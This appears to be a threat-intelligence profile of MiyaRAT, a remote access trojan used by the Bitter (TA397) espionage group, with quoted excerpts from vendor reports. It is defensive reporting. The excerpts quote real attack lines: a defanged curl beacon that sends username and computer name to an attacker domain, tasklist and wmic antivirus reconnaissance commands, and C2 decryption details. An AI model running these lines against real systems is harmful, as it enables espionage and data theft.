MiyaRAT is a custom C++ remote access trojan first observed in 2024 and used by the Bitter espionage group, also tracked as TA397 and APT-Q-37. It is part of Bitter’s progression from simpler downloaders toward more capable post-compromise tooling and has been deployed in espionage operations targeting government, diplomatic, defense, and other strategically relevant organizations, including activity against targets in South Asia and Turkey.
MiyaRAT is designed for interactive remote control and intelligence collection on compromised Windows systems. Documented capabilities include host reconnaissance, directory and file enumeration, file deletion, screenshot capture, shell or reverse-shell style command execution, file upload and download, and process termination. It gathers basic victim information before contacting command-and-control infrastructure, including system and user details, and then enters a command-processing loop awaiting operator instructions.
Observed variants show ongoing development. Early reporting identified a version labeled 1.1. Later variants appended version information to the initial host-information beacon and used simple XOR protection for command-and-control traffic. A 2025 variant retained largely the same operator functionality while modifying string decryption and command-and-control obfuscation, indicating iterative efforts to hinder signature-based detection rather than major architectural redesign. Across reporting, MiyaRAT has been characterized as operationally straightforward but actively maintained.
MiyaRAT has been delivered by Bitter through staged intrusion chains rather than as a standalone mass-distributed payload. Observed delivery methods include spearphishing-led compromises followed by manual operator activity and deployment via MSI installers acting as droppers. In at least one campaign, Bitter operators performed host enumeration and then selectively installed MiyaRAT as a follow-on payload, consistent with targeted espionage tradecraft and victim pre-filtering.
2 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
ultimately distributing a brand new trojan horse, MiyaRat, in September. ... the PDB shows that the Trojan has been named "Miya" by the attackers, and the current version is 1.1.
23 distinct techniques documented for this family, organized by ATT&CK tactic.
The tactics of these groups have hardly changed much from 2019 to the present... but the phishing mode by casting a wide net can still affect government and enterprise customers to a certain extent.
On November 18, 2024, TA397 (also known by third-party researchers as Bitter) targeted a defense sector organization in Turkey with a spearphishing lure. The email included a compressed archive (RAR) file attachment...
The attack chain used... a shortcut (LNK) file that created a scheduled task on the target machine to pull down further payloads... the command then set up a scheduled task named “DsSvcCleanup”.
BDarkRAT includes standard RAT capabilities such as executing shell commands, downloading files, and managing files on the compromised system.
Inside the “Participation” stream was a base64 encoded PowerShell blob... This caused the ~tmp.pdf file to run the base64 encoded PowerShell contained within the “Participation” ADS stream...
The backdoor supports several commands, each executed in its own thread, notably: ... Executing remote commands
putting aside the initial attack payload chm, lnk and other outdated technologies...
The attack chain used... a shortcut (LNK) file that created a scheduled task on the target machine to pull down further payloads... the command then set up a scheduled task named “DsSvcCleanup”.
The attack chain used... a shortcut (LNK) file that created a scheduled task on the target machine to pull down further payloads... the command then set up a scheduled task named “DsSvcCleanup”.
Important strings are obfuscated with a simple encoding algorithm where each character is decoded by subtracting 1.
The email included... a shortcut (LNK) file masquerading as a PDF (PUBLIC INVESTMENTS PROJECTS 2025.pdf.lnk)... the user is lured to believe that a PDF file is being opened due to the extension pdf.lnk. By default, Windows hides the real extension of a file.
DELz Delete the specified file
The Trojan first decrypts the C2 domain name "samsnewlooker.com". Decryption is done by subtracting the key bytes, and the key used for decryption is set to "doobiedoodoozie".
This blog post details TA397’s usage of NTFS alternate data streams (ADS) in combination with PDF and LNK files to gain persistence... The second ADS is the “Participation” ADS. Inside the “Participation” stream was a base64 encoded PowerShell blob.
This scheduled task attempted to send target host information (username and computer name) with the curl utility every 17 minutes... GET hxxp://jacknwoods[.]com/jacds.php?jin=%computername%_%username%
tasklist >> abc.pdf
The downloader starts by collecting system information, which includes username, computer name, and the operating system.
The RAT includes standard functionality for directory listing, file transfer (both upload and download), and shell command execution.
wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName >> abc.pdf
This variant shared the same new capabilities as the one discovered in 2024, it reverted to using hex-encoded C2 addresses like the older variant.
The email included a compressed archive (RAR) file attachment containing a decoy PDF (~tmp.pdf) file... a shortcut (LNK) file masquerading as a PDF... and an Alternate Data Stream (ADS) file that contained PowerShell code.
The Trojan first decrypts the C2 domain name "samsnewlooker.com"... calls WSAConnectByNameW to connect to port 56172 of the C2 server.
This scheduled task attempted to send target host information with the curl utility every 17 minutes to the domain jacknwoods[.]com... Proofpoint observed TA397 operators respond to these requests with manual commands...
SFS Connect to the specified port of the C2 server to perform file transfer operations... UPL1 uploads the file and DWNL downloads the file.
After that, the stealer reads the log file and exfiltrates the collected files.
20 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
7 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.